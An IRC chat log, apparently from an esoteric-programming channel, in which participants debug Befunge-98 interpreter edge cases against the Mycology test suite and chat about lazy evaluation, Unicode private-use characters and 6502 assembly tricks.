15:20:01 <EgoBot> 120 120 120 0 120 120 120 0 120 120 120 0 120 120 120 0 120 120 120 0 120 120 120 0 120 120 120 0 120 120 120 0 120 120 120 0 120 120 120 0 120 120 120 0 120 120 120 0 120 120 120 0 120 120 120 0 120 120 120 0 120 120 120 0 120 120 120 0 120 120 120 0 120 120 120 0 120 120 120 0 120 120 120 0 120 120 120 0 120 120 120 0 120 120 120 0 120 120 120 0 120 120 120 0 120 120 120 0 120 120 120 0 120 120 120 0 120 120 120 0
15:20:17 <ais523_> OK, so that program runs the "." four times
15:20:34 <ais523_> because 3k. repeats the . three more times
15:20:41 <ais523_> !befunge98 "xxx"3k;this is a comment;.@
15:20:49 <TieSoul> it makes the interpreter treat anything between the ;s as spaces, including the ;s themselves.
15:20:51 <ais523_> now, if ; were an instruction, the k would copy the ; rather than the .
15:21:08 <ais523_> but because it isn't an instruction, the k just ignores it and looks for the next actual instruction, which is the .
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15:22:30 <HackEgo> [wiki] [[Portal]] N http://esolangs.org/w/index.php?oldid=40245 * 106.120.28.78 * (+2571) Wang-B Machine
15:22:37 <TieSoul> wait wait wait. I made it incredibly hard for myself to implement k without making the code almost twice as long because executing a character isn't a function :S
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15:23:19 <ais523_> now I'm wondering how k interacts with "
15:23:38 <TieSoul> it toggles stringmode x amount of times I would think
15:23:49 <ais523_> !befunge98 "xxx"1k"y""z"5k.@"q"5k.@
15:24:00 <ais523_> !befunge98 "xxx"1k"y""z"5k.@""q"5k.@
15:24:33 <ais523_> although I'm still not sure exactly what the code did
15:24:39 <ais523_> I think you're right, I guess the y actually executed
15:24:41 <TieSoul> try replacing the .s with ,s
15:24:50 <elliott> I remember nested k being fun.
15:24:50 <ais523_> !befunge98 "xxx"1k"y""z"5k,@""q"5k,@
15:25:04 <ais523_> or, hmm, no, that looks like part of the program
15:25:27 <ais523_> and the rest of it is just part of the program being interpreted literally
15:25:34 <ais523_> !befunge98 "xxx"1k"y""z"5k,@""q"fk,@
15:26:54 <TieSoul> so yeah, it toggles stringmode x times.
15:28:33 <ais523_> I remember back when cfunge was being brought up to 100% compliant with the mycology spec
15:28:44 <ais523_> not sure which interp !befunge98 is using, and I've also forgotten how to find out
15:29:31 <ais523_> huh, the link on esolangs.org is broken
15:29:42 <HackEgo> [wiki] [[Portal 2]] N http://esolangs.org/w/index.php?oldid=40246 * 106.120.28.78 * (+2414) Portal 2
15:29:44 <ais523_> a web search suggests quadium.org for the funge-98 spec
15:31:18 <HackEgo> [wiki] [[Portal 2]] http://esolangs.org/w/index.php?diff=40247&oldid=40246 * 106.120.28.78 * (-2)
15:32:18 <ais523_> !befunge98 3y:,884**/:,884**/:,884**/:,@
15:32:41 <ais523_> and that's the version number
15:36:37 <fizzie> TieSoul: The 5 is executed in an unrelated code path, the $ is just compensating.
15:36:54 <fizzie> Mycology does quite a lot of "push and pop" as opposed to "# over push", even in places where it could.
15:37:47 <fizzie> fungot does a couple of space-saving uses of things like _ for a combination of (say) $ and > when it's known that there's a zero on the stack.
15:37:47 <fungot> fizzie: it wouldn't make any profit :p. i think cl has a macro system
15:37:58 <fizzie> Yeah, it doesn't make any profit.
15:39:10 <ais523_> how can it possibly make any profit
15:40:27 <fizzie> fungot: Why don't you mine some bitcoins or something to earn your living?
15:40:28 <fungot> fizzie: what is scheme48 compared to r5rs? :) ( i.e. how are things going these days, right? assume non-tail recursion is free to rearrange the order to squeeze out the last files from the server
15:40:40 <fizzie> (Bitcoin-mining on Funge-98: probably not cost-effective.)
15:42:07 <ais523_> I don't really think you need the "probably" qualifier there
15:42:35 <fizzie> The current instance of the bot has been running since July 15th (approx. 21 days) and used a total of 17 minutes of CPU time, so at least it's not costing terribly much to run.
15:48:25 <elliott> okay Portal 2 has a great name
15:48:35 <TieSoul> let's mention fungot a lot so he's more expensive to run :P
15:48:36 <fungot> TieSoul: but it was unnecessary. that's why they picked, it looks good to all people), internet multiplayer and it gives you back that function's setter function. functions)
15:48:54 <elliott> someone make a conway's game of life variant with half the complexity so it can be called Half-Life
15:49:20 <int-e> "half the complexity", hmm. looking only at 4 neightbours rather than 8?
15:49:38 <elliott> oh, Portal 2 was better when I thought Portal wasn't created just now
15:49:46 <int-e> (where did that 't' come from? I must have typed it, but why?)
15:49:51 <elliott> int-e: something like that. as long as you can justify it as being life but half I'm down with it.
15:50:03 <ais523_> elliott: I immediately checked that to see if it was spam, and decided it wasn't
15:50:05 <elliott> like the first t in my name.
15:50:16 <ais523_> but yes, it would be better if Portal were older
15:50:25 <TieSoul> fungot: You should upgrade to Trefunge.
15:50:25 <fungot> TieSoul: well it fnord about?)
15:50:44 <TieSoul> or does it already run Trefunge?
15:52:23 <ais523_> fungot doesn't run Befunge, in much the same way as thutubot doesn't run Thutu
15:52:24 <fungot> ais523_: " pretty fast" has a problematic connotation i had no interpreter to tets them with _my mind_, though
15:55:19 <fungot> TieSoul: you sure have it easy.
16:01:41 <fizzie> (There's a command to execute "raw" Befunge-98, but it's owner-only, since it's potentially dangerous.)
16:02:03 <fizzie> fungot: Also your mind *is* an interpreter.
16:02:03 <fungot> fizzie: it's weird, either the melatonin or my low adrenal state is making time seemingly pass very slowly. or maybe it's supposed to snow today
16:02:30 <fizzie> Typo in the source or typo in the babble?
16:04:53 <fizzie> 2005-07-28 21:12:34 <calamari> GregorR: I think I write the conversions, yeah.. but I had no interpreter to tets them with
16:05:13 <fizzie> That's where it's derived from.
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16:21:44 <TieSoul> so in mycology, I get this:
16:21:56 <TieSoul> BAD: n does not clear 15-cell stack, _v#nv#fkf>5 executes 5 thrice
16:23:03 <TieSoul> I don't see how that fragment would execute 5 at all
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16:25:35 <TieSoul> so erm that can't be right since n does clear the stack D:
16:25:48 <TieSoul> it does "ip.stackstack[-1] = []"
16:25:59 <TieSoul> don't see how that would not clear a stack.
16:27:30 <TieSoul> it used to be "ip.stackstack[-1].clear" but I changed that because of this error.
17:07:22 <fungot> https://github.com/fis/fungot/blob/master/fungot.b98
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17:10:12 <fizzie> I like how it starts in this really "structured Befunge" mode with comments and one-conceptual-operation-per-line and all that, then devolves a little bit to a more spaghetti-y mess by the time it gets to IRC PRIVMSG parsing, and then finally the babbling code actually looks a bit like real Befunge.
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17:11:31 <fizzie> ^bf +[] does take a moment of CPU time, I'm sure.
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17:13:09 <fizzie> ^bf +[] ...just checking
17:14:05 <fizzie> Well, /proc/pid/sched's "se.vruntime" went from 231243698.908466 to 231248532.202064 and nr_switches incremented by 95 for a single +[].
17:14:14 <fizzie> I don't know the unit for the former, though.
17:14:28 <fizzie> It doesn't run ^code from untrusted sources.
17:14:37 <fizzie> Also even if it did, the . wouldn't go to IRC.
17:17:12 <fizzie> The value goes on the bottom.
17:17:28 <fizzie> 123p puts a 1 at the place where 23g would read it from.
17:23:44 <fizzie> Sorry, when I said 17 minutes back there, it was in fact 17 seconds instead.
17:24:06 <fizzie> That takes a whopping 4 CPU seconds.
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17:24:44 <fizzie> It's at 30 seconds now. So today accounts for approximately half of its total CPU use for the last three weeks.
17:24:58 <fizzie> fungot: How about if I ask you to babble?
17:24:58 <fungot> fizzie: does anybody else here who ever wrote ( and ( x z) ( y x))
17:29:25 <TieSoul> should s wrap or expand space?
17:29:32 <TieSoul> I think it should expand :P
17:30:02 <ais523_> space is conceptually infinite
17:30:31 <ais523_> it won't be infinite in practice, but your job as a Funge-98 implementor is to hide that
17:30:35 <fizzie> And since it says to write in (position + delta), that's probably what it should do.
17:30:40 <ais523_> or well, not quite infinite due to not using bignums
17:30:53 <TieSoul> well, Ruby automatically uses bignums.
17:30:55 <ais523_> fizzie: hmm, can you write outside the playfield bounds like that?
17:31:24 <EgoBot> 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
17:32:07 <TieSoul> and I think cfunge passed Mycology
17:32:34 <ais523_> mycology maybe isn't perfect
17:32:39 <ais523_> we find bugs in it sometimes, whenever a new Funge implementation comes along
17:33:05 <ais523_> it might be worth asking Deewiant, who is the expert on whether a particular behaviour is a Mycology bug, Funge specification bug, or not a bug at all
17:34:18 <TieSoul> anyway, I was trying to figure out what caused mycology to say that 'vs doesn't place v (it does)
17:34:52 <Deewiant> ais523_: Which behaviour is it now?
17:35:02 <ais523_> Deewiant: wrapping behaviour of s
17:35:04 <EgoBot> 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
17:36:01 <TieSoul> also, what does BAD: getting (-3 -2) after putting there results in wrong value mean
17:36:13 <TieSoul> it prints just after k tests
17:36:23 <Deewiant> TieSoul: p is put and g is get
17:36:34 <Deewiant> So g gave back something that wasn't p'd
17:37:20 <Deewiant> Seems to me that s shouldn't wrap, so space after executing the s should be '.s.
17:38:11 <TieSoul> which would not result in an infinite loop of 0 output.
17:38:27 <Deewiant> FWIW this is how CCBI seems to behave
17:39:00 <ais523_> ooh, CCBI and cfunge disagree on something? Vorpal isn't here, though, so I can't meaningfully ping them to complain
17:39:26 <Deewiant> ais523_: There was also another disagreement last time TieSoul was around, IIRC.
17:39:52 <ais523_> I am happy with Funge-98 development conversation, it normally leads to interesting esolanging discussions, even if they're of the "pin-down-the-spec" form
17:39:54 <Deewiant> It might've been the "y as pick instruction" thing, which cfunge had flipped?
17:40:00 <TieSoul> I'm the guy who points out Funge inconsistencies lol
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17:40:05 <ais523_> Funge-98 has half the advantages of a nomic
17:40:29 <fizzie> !befunge98 ;@.g0+aa.g00;#;_1'xs
17:40:34 <fizzie> ^ I don't quite get that.
17:40:54 <fizzie> The x did not end up to (0, 20) -- the cell after the s -- but it did not end up at (0, 0) either.
17:41:02 <fizzie> I must've messed something up, but I'm not sure what.
17:42:35 <Deewiant> cfunge doesn't have a debugger so who knows
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17:43:35 <ais523_> it has gdb, but that's stretching a little
17:43:53 <Deewiant> I was just about to say that Vorpal would probably retort with gdb
17:44:11 <ais523_> actually, what you could do
17:44:15 <ais523_> is insert line labels into the code
17:44:18 <fizzie> I think he had a set of gdb macros or something that made it more bearable. And/or just "workflows".
17:44:21 <Deewiant> Anyway, its tracer doesn't say where the s wrote to, only that the next cell it went to was the ; at (0, 0) so it can't have been there
17:44:22 <ais523_> then you could debug it with COME FROM statements
17:44:23 <TieSoul> what y should push TOSS length again?
17:44:31 <ais523_> err, NEXT FROM, you need to resume afterwards
17:44:48 <fizzie> case 's': ip_forward(ip); fungespace_set(stack_pop(ip->stack), &ip->position); break;
17:44:51 <Deewiant> I rarely remember the y offsets
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17:45:44 <fizzie> ip_forward does do wrapping, so that's arguably "wrong".
17:45:44 <TieSoul> (actually I don't think there's a set one for TOSS length but there is for BOSS length)
17:46:19 <fizzie> !befunge98 ;@.g0-10;#;_1'xs
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17:46:48 <elliott> I wonder if you could make a nice funge-98 debugger with lldb or something.
17:47:44 <Deewiant> fizzie: Oh right, this is because of cfunge's Mycology optimization and its strange way of handling markers (or only semicolon)
17:48:06 <elliott> the Mycology/fungot trick is so ridiculous.
17:48:06 <fungot> elliott: btw, opennic also mirrors the standard icann tlds.
17:48:08 <Deewiant> It preallocates a space just large enough to include all of Mycology, including the negative areas it dynamically writes to (I still refuse to call this a coïncidence)
17:48:19 <fungot> elliott: whatever the os finds appropriate.'
17:48:22 <Deewiant> And evidently ip_forward skips over spaces but not semicolons
17:48:24 <elliott> maybe only because fungot is strictly smaller though
17:48:42 <Deewiant> elliott: I think fungot's underload and whatever interpreters can go quite far out
17:48:43 <fungot> Deewiant: which do you prefer books or tv? umm......do you like the climate in atlanta? what about it
17:48:53 <Deewiant> Depends on the program, of course
17:52:05 <fizzie> @tell Vorpal Having "s" at edge of the playfield causes the placed character to go where wrapping puts it; there seems to be a vague consensus that s should not wrap. See http://sprunge.us/dZdS for most of the relevant context.
17:52:12 <fizzie> I sure hope sprunge doesn't time-out that.
17:52:39 <fizzie> (I don't know their paste-expiration schedule.)
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17:54:21 <Deewiant> That's an excellent name for a fingerprint :-D
17:54:37 <TieSoul> ... is there actually a KNOT fingerprint? If there isn't I'll have to find an application.
17:54:50 <TieSoul> also it's fun to write TONK
17:54:50 <Deewiant> I suggest it applies knot-theoretic concepts to Funge-Space
17:56:12 <TieSoul> I think that would only be applicable in Trefunge?
17:57:18 <Deewiant> Eh, I'm sure you could do something to make it work in lower dimensions, e.g. infer imaginary z-values from the cell values or something
17:57:34 <TieSoul> hrm... Is there a brainfuck-like memory fingerprint yet?
17:57:48 <TieSoul> I'm sure that'd have some use
17:58:54 <TieSoul> yeah sure but that requires more effort to keep track of :P
17:59:31 <Deewiant> You can always write brainfuck verbatim in your funge code and write a small interpreter for it inline
18:00:19 <TieSoul> and writing things like "110gg1+110gp" is kind of tedious
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18:08:26 <fizzie> fungot's brainfuck interpreter keeps the X index of the input program on top-of-stack, and X index of the brainfuck tape pointer below that.
18:08:27 <fungot> fizzie: this?). in the vi section. something came up at work. we're largely a perl shop.
18:08:30 <quintopia> how hard would it be to come up with a code golfing challenge specifically designed to require more characters in GolfScript than in some particular other (reasonably compact but otherwise arbitrarily chosen TC) language?
18:09:49 <scarf> quintopia: there was that anarchy golf "compression challenge" where you had to output a particular sequence of digits
18:10:02 <scarf> that just happened to be that generated by a particular RNG with its default seed
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18:17:30 <scarf> it was pretty clever
18:18:10 <elliott> scarf: it might have been unintentional
18:18:22 <elliott> scarf: if you want to create random data for your challenge so that it's incompressible...
18:19:08 <quintopia> actually the golfscript solution to this is REALLY CHEAP: http://golf.shinh.org/p.rb?Ghost+leg+solver but I have to admit I've solved problems the same way before :P
18:26:25 <TieSoul> okay so what is wrong with this code http://bpaste.net/show/aGXL8WSB8OrmE4MngGBd/
18:26:39 <TieSoul> look at the storage offset part.
18:26:59 <TieSoul> because Mycology says that's wrong
18:28:24 <TieSoul> also http://bpaste.net/show/V20S5hIpeAbR21vHsVXE/ <here's the p code, the way I handle negative fungespace is really weird btw.
18:31:10 <TieSoul> and I know I have much too many globals, will refactor someday
18:37:19 <Deewiant> Assuming you have the x value in ip.storeoffset[0] those pushes seem to be the wrong way around, the y should be on top
18:39:25 <TieSoul> oh right, I used to have them that way around but then for some reason I thought to reverse it :P
18:39:42 <TieSoul> anyway I reversed it because of the error
18:40:15 <TieSoul> what about the p code, otherwise that it's really funky?
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18:41:34 <Deewiant> No idea what's going on with the bounds stuff but otherwise seems right :-P
18:42:21 <Deewiant> Messing with ip.x and ip.y seems error-prone, you might have to correct ip.storeoffset as well?
18:42:41 <TieSoul> g seems to not use the $origin variable
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18:43:46 <TieSoul> alright that does not fix it
18:44:39 <TieSoul> no, origin functions pretty much like an additional storage offset
18:46:35 <TieSoul> erm, so for some reason, the origin alterations and stuff seems to be bork'd
18:46:53 <TieSoul> if the y coordinate is negative.
18:46:54 <Deewiant> How do ip.x/ip.y relate to ip.coords
18:47:08 <TieSoul> aliases for ip.coords[0] and ip.coords[1]
18:47:47 <Deewiant> Then ip.storeoffset = ip.coords.clone may need some $origin correction?
18:49:53 <TieSoul> alright that was the problem
18:50:15 <TieSoul> so now I find out my } code is bork'd
18:50:41 <Deewiant> I'd suggest grepping over every use of ip.x/ip.y/ip.coords and check that $origin is used appropriately
18:51:28 <TieSoul> ip.coords/ip.y/ip.x is not used in }
18:51:50 <Deewiant> Doesn't mean you don't have other issues lurking :-P
18:53:02 <Deewiant> elliott: I think it's the offset of (0,0) from where his stored funge-space starts
18:53:18 <Deewiant> In other words, it's the negation of the minimum stored point
18:54:04 <elliott> it sounds like TieSoul could use abstracting away the fungespace.
18:55:04 <TieSoul> what does it mean when Mycology says "10 0 0 " after the "BAD: } transfers cells incorrectly"?
18:55:18 <TieSoul> Does it output the stack after that or something?
18:55:31 <Deewiant> Typically that means that something got confused, lemme check
18:57:21 <Deewiant> Seems to me like your interpreter got lost and shouldn't be doing that
18:57:50 <Deewiant> It should say "Stopping due to fear of corrupt stack stack..." and then stop
18:58:03 <TieSoul> it does say that, but after it says "10 0 0 "
18:58:23 <TieSoul> and it says it without parens
18:58:26 <Deewiant> That's strange because the code executed to print that corruption fear is >:#,_@
18:59:22 <TieSoul> well, anyway, I've got to go now. I'll fix it tomorrow :P
19:00:32 <Deewiant> fizzie: Re. ; you can usually get the same cheating effect with ", it's just not as convenient
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19:08:34 <Deewiant> fizzie: And re. push-then-pop vs. #-over-push that might be because I prefer using an instruction from multiple directions whenever possible, even if it's executed only in order to move across it; not sure how much thought I've given it, though
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19:18:20 <fizzie> I don't use " to cheat either.
19:19:04 <Deewiant> I suppose the fact that it has other uses makes it less of a "cheater's command"
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19:27:16 <fizzie> Deewiant: "Substantial noninfringing uses" is the term, I think.
19:29:29 <Deewiant> I guess it could be argued that # is as cheating as ;, or are there any necessary uses for it?
19:29:52 <ais523_> # is great for tight loops
19:30:24 <Deewiant> Yes, and ; also helps with making tight code, which I took as the essence of the "cheating" :-P
19:31:28 <fizzie> It's not cheating if it was in Befunge-93, is my definition. :p
19:31:47 <fizzie> Also if it's in "the spirit of" '93, like a..f.
19:49:55 <HackEgo> [wiki] [[User:Darkgamma/SB2]] http://esolangs.org/w/index.php?diff=40248&oldid=40242 * 94.68.93.112 * (+1429) /* Variables */
19:50:51 <HackEgo> [wiki] [[User:Darkgamma/SB2]] http://esolangs.org/w/index.php?diff=40249&oldid=40248 * Darkgamma * (-1) /* Variables */
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19:58:08 <HackEgo> [wiki] [[User:Darkgamma/SB2]] http://esolangs.org/w/index.php?diff=40250&oldid=40249 * Darkgamma * (+261) /* Variables */
19:59:32 <HackEgo> [wiki] [[User:Darkgamma/SB2]] http://esolangs.org/w/index.php?diff=40251&oldid=40250 * Darkgamma * (+13) /* Language Idea */
20:09:21 <quintopia> Hello, I am the BytePusher. I have two hundred and sixteen colors, sixteen megabytes of RAM, eight bit sound, sixteen keys, and a single instruction CPU, and I'm, like, so minimalist and sexy, but I can't keep running properly unless my window is in focus.
20:18:30 <b_jonas> quintopia: I don't find it sexy
20:18:50 <b_jonas> but then to each their own taste
20:22:07 <newsham> doyou need tables to do math in bytepusher?
20:23:00 <newsham> hmm.. how do youdo conditionals?
20:28:24 <int-e> quintopia: 216 colors seems a bit excessive
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21:05:31 <Taneb> Saw an interesting talk this evening wherein a webhosting company person described a number of interesting failures they've had
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21:12:05 <quintopia> b_jonas: i have no opinion on its sexiness. in fact, i like ibniz more. but i was merely quot< 1407275316 779034 :sebbu!~sebbu@ADijon-152-1-59-115.w83-194.abo.wanadoo.fr JOIN #esoteric
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21:50:37 <myname> one can see your d&d games?
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21:50:58 <zzo38> myname: There is the recording.
21:51:25 <zzo38> I type it after each session. It is: http://zzo38computer.org/dnd/recording/level20.tex and level20.dvi for the compiled one
21:59:33 <Taneb> Anyone know a language based on reshaping unlabeled binary trees?
22:00:22 <Taneb> I mean, most combinator calculus are reshaping labeled binary trees
22:00:36 <Taneb> Or can be interpreted as such
22:03:11 <Bicyclidine> couldn't you interpret many things based on rewriting in such a way
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22:10:26 <HackEgo> [wiki] [[User:Darkgamma/SB2]] http://esolangs.org/w/index.php?diff=40252&oldid=40251 * Darkgamma * (+211) /* Language Idea */
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22:15:00 <Taneb> Bicyclidine, that's not trivial, esp. with explicit recursion
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22:45:47 <Sgeo> I think I would like a language with configurable laziness
22:46:12 <Sgeo> Something more... tweakable than.... here, here's a box, peak and the box is evaluated, and you can never close the box again,
22:47:17 <Sgeo> I want to manipulate the box as needed
22:47:53 <HackEgo> [wiki] [[User:Darkgamma/SB2]] http://esolangs.org/w/index.php?diff=40253&oldid=40252 * Darkgamma * (+119) /* Variables */
22:51:11 <Melvar> Sgeo: How else do you want to manipulate the box?
22:51:37 <Sgeo> Reclaiming the memory and turning it back into its original thunk
22:52:07 <Sgeo> If, e.g., the results of evaluation are significantly larger than the thunk
22:52:57 <Melvar> Hm. Store the function for producing the box along with the box and replace the box with a new one when you want?
22:54:19 <Sgeo> I thought the box already contained the function
22:54:27 <Sgeo> It just loses it when it's opened
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22:57:17 <HackEgo> [wiki] [[GML]] http://esolangs.org/w/index.php?diff=40254&oldid=39196 * 68.10.94.234 * (+94)
22:57:22 <Melvar> The function to compute the *result*; I mean you store the function that makes the *box*, so you can replace the forced one with a fresh one later.
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23:28:09 <oerjan> i would like to point out that at least in ghc, the box contains merely a pointer to the function, as well as any needed arguments.
23:28:39 <oerjan> whether or not this is smaller than the result, may depend.
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23:59:43 <oerjan> `addquote <ais523_> Funge-98 has half the advantages of a nomic
23:59:45 <HackEgo> 1214) <ais523_> Funge-98 has half the advantages of a nomic
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01:45:23 <HackEgo> U+EF01 - No such unicode character name in database \ UTF-8: ee bc 81 UTF-16BE: ef01 Decimal:  \ () \ Uppercase: U+EF01 \ Category: Co (Other, Private Use) \ Bidi: L (Left-to-Right)
01:46:21 <oerjan> i dunno, someone made it in stackoverflow by accident with a phone
01:47:22 <shachaf> i guess it's just private-use
01:47:29 <shachaf> why does my thing render it
01:47:44 <oerjan> i dunno, i'm seeing a square
01:48:09 <Bike> i'm seeing it rendered, as some kinda diacritic
01:51:31 <Bike> bit more bent for me, but basically the same.
01:51:39 <coppro> I see a forwardtick too
01:52:00 <Bike> using uh, i think this is dejavu sans mono.
01:52:01 <shachaf> that thing is longer than a forwardtick
01:54:06 <Bike> unassigned in CSUR...
01:54:45 <Bike> also unassigned in MUFI
01:55:32 <Bike> `unidecode ( )
01:55:33 <HackEgo> U+0028 LEFT PARENTHESIS \ UTF-8: 28 UTF-16BE: 0028 Decimal: ( \ ( \ Category: Ps (Punctuation, Open) \ Bidi: ON (Other Neutrals) \ Character is mirrored \ \ U+EF00 - No such unicode character name in database \ UTF-8: ee bc 80 UTF-16BE: ef00 Decimal:  \ () \ Uppercase: U+EF00 \ Category: Co (Other, Private Use) \ Bidi: L (L
01:57:39 <Bike> http://utf8-chartable.de/unicode-utf8-table.pl?start=61184&number=128 man i have all the way up to ef19, wtf
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02:42:05 <Sgeo> oerjan: even a pointer to a function and its arguments would presumably prevent the function and its arguments from being GCed...
02:44:43 <oerjan> Sgeo: the function itself is never GCed, as it's part of the program code...
02:45:23 <Sgeo> Its arguments, plus closure (what would that component be called? context?)
02:45:48 <Sgeo> Special kind of argument?
02:47:42 <oerjan> i think there's a little confusion here, i'm not really talking pointers to haskell functions, but to the C or assembly code used underneath.
02:48:37 <oerjan> and not just for haskell closures, but for arbitrary "enterable" boxes.
02:50:13 <oerjan> haskell closures of course are represented similarly, with the arguments to the C code dividing up into arguments for the closure itself and the "context" you mention
02:51:38 <oerjan> https://ghc.haskell.org/trac/ghc/wiki/Commentary/Rts/Storage/HeapObjects#Typesofobject
02:53:40 <oerjan> "free variables" is the term used
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02:56:56 <adu> ChanServ is so curteous.
02:57:44 <oerjan> the message is a changeable channel setting, anyway
02:58:50 <adu> I know, but most channel topics and the like are along the lines of "No pastes, use pasebin. Don't ask to ask, just ask. No LOL"
03:00:01 <oerjan> we're not big enough to need that kind much, i think
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03:04:15 <Bike> thankfully nobody asks to ask since most people here are jerks
03:06:51 <zzo38> I agree you don't need to ask to ask, just ask; if you do ask to ask you should ask the intended question at the same time, atleast!!!
03:07:21 <oerjan> zzo38 lives by that motto
03:08:01 <adu> I'm not a big fan of any words that add little to no meaning to a sentance
03:08:06 <oerjan> Bike: should you what?
03:08:37 <adu> oerjan: what did you just do?
03:08:43 <Bike> adu: 'm not fan'f meaningless words
03:12:17 <zzo38> I realized that using ARR #$FF helps me to save one cycle in the predicate decoding routine of this Famicom Z-machine implementation.
03:12:42 <oerjan> you cannot use that instruction, it's piracy
03:13:18 <zzo38> O no I can use it as much as I want to.
03:13:40 <oerjan> @arr shiver me timbers
03:13:42 <quintopia> oerjan: it's okay arrrrjan. i laughed
03:14:22 <adu> Bike: yey@
03:15:28 <quintopia> meaningless words are positively frabjous
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04:49:06 <HackEgo> [wiki] [[GML]] http://esolangs.org/w/index.php?diff=40255&oldid=40254 * Rdebath * (-94) Waste of time; YoYo GML is just a gutted C++ clone.
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06:07:03 <HackEgo> [wiki] [[Portal 2]] M http://esolangs.org/w/index.php?diff=40256&oldid=40247 * Oerjan * (+0) gmr, bullets
06:24:36 <HackEgo> [wiki] [[Brainfuck bitwidth conversions]] http://esolangs.org/w/index.php?diff=40257&oldid=31446 * Rdebath * (+724) The old code wasn't working; this code works and is very easy to prove at COMPILE time
06:31:20 <fizzie> Oh, the Portal 2 comment was about a thing in the wiki. That makes more sense.
06:31:27 <HackEgo> [wiki] [[User:Darkgamma/SB2]] http://esolangs.org/w/index.php?diff=40258&oldid=40253 * Darkgamma * (+1) /* Variables */
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06:35:55 <fizzie> The Wiki descriptions of Portal{, 2} are lacking the <> instructions.
06:36:39 <fizzie> And it's very confusing the way the official description uses the word "the pointer" interchangeably for the data and code pointers.
06:39:05 <HackEgo> [wiki] [[Brainfuck bitwidth conversions]] http://esolangs.org/w/index.php?diff=40259&oldid=40257 * Rdebath * (+2) Regularise the pointer positions so that the > and < needed for cell double/quad code are in the code part.
06:39:11 <oerjan> going throuh the portal should switch those, surely
06:44:58 <fizzie> I don't know what "goging" means.
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07:08:46 <zzo38> The fact that bit0 of the flag register of 6502 corresponds to the carry flag, must be really useful. At least, it is useful to me.
07:14:40 <zzo38> This is an example of what I mean: http://sprunge.us/IHMF
07:15:11 <fizzie> Curiously enough, the carry flag is also bit 0 on the Z80 and the x86. Not that I've ever taken advantage of it.
07:15:46 <zzo38> Is it like that for the purpose of taking advantage of it?
07:15:56 <zzo38> Or is there a different reason?
07:22:11 <fizzie> I don't know. But it does make some sort of sense that you might want to get a 1 or 0 based on the carry flag.
07:22:30 <fizzie> (Though in x86 these days you could "setc al" no matter which bit it was.)
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07:32:47 <zzo38> I am writing it in a 6502 code so you can't make "setc al", nor would it seem to help with what I did anyways.
07:34:08 <zzo38> (What I am doing is effectively trying to use two carry flags at once.)
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07:45:49 <zzo38> Is my program sensible to you?
07:49:17 <HackEgo> [wiki] [[User talk:Rdebath]] http://esolangs.org/w/index.php?diff=40260&oldid=40082 * Rdebath * (+2069) /* Sandbox -- Evil tables */ new section
07:49:30 <HackEgo> [wiki] [[GML]] http://esolangs.org/w/index.php?diff=40261&oldid=40255 * GermanyBoy * (+206) YoYo GML is not a C++ clone, and even if it was, it is still a language.
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08:12:02 <HackEgo> [wiki] [[Dc]] http://esolangs.org/w/index.php?diff=40262&oldid=40236 * Rdebath * (+1) Fix the fake pipe
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08:18:20 <fizzie> Well, I'm not much of a 6502 person. But I did catch the summation of two carry flags. I don't know the "<foo" notation, though. Low byte of a symbol?
08:22:10 <HackEgo> [wiki] [[User:Rdebath]] http://esolangs.org/w/index.php?diff=40263&oldid=40131 * Rdebath * (+86) /* Performance Matrix */
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08:23:01 <HackEgo> [wiki] [[User:Rdebath]] http://esolangs.org/w/index.php?diff=40264&oldid=40263 * Rdebath * (-31) /* Performance Matrix */
08:24:19 <HackEgo> [wiki] [[User:Rdebath]] http://esolangs.org/w/index.php?diff=40265&oldid=40264 * Rdebath * (+14) /* Performance Matrix */
08:25:05 <HackEgo> [wiki] [[User:Rdebath]] http://esolangs.org/w/index.php?diff=40266&oldid=40265 * Rdebath * (+87) /* Current Version of the awk based converter */
08:25:49 <b_jonas> zzo38: how is it useful for you that the carry flag is in bit 0? I admit I don't really remember much of how the 6502 works.
08:26:39 <HackEgo> [wiki] [[User:Rdebath]] http://esolangs.org/w/index.php?diff=40267&oldid=40266 * Rdebath * (-1) /* Current Version of the awk based converter */
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08:35:00 <fizzie> b_jonas: You can push the flags, pull them to the accumulator and and with 1; then you can do an add-with-carry operation to essentially increment something by 0, 1 or 2 depending on two "carry flags".
08:35:16 <fizzie> b_jonas: At least something approximately like that seemed to be going on.
08:39:44 <b_jonas> fizzie: but can't you also just LDA #0; ADC #0; to load the carry flag more easily? on the 6502, apparently the load and bitwise instructions don't change the carry flag, but change other flags.
08:42:27 <b_jonas> or alternately, maybe just push the flags, do the other operation, then do the first increment, then pop flags, then do an ADC #0
08:43:45 <b_jonas> wait, there's an even better way
08:44:19 <b_jonas> LDA #0; ROL; loads the carry flag too, and is one byte shorter. or is the rotate operation too slow in runtime?
08:44:29 <fizzie> It changes the carry flag.
08:45:26 <b_jonas> ADC changes the carry flag of course, I'm saying LDA or XOR doesn't. let me check another manual thouhg
08:45:29 <fizzie> I guess you could at that point push it, and only then do whatever it is you want to do to get the second carry flag, though.
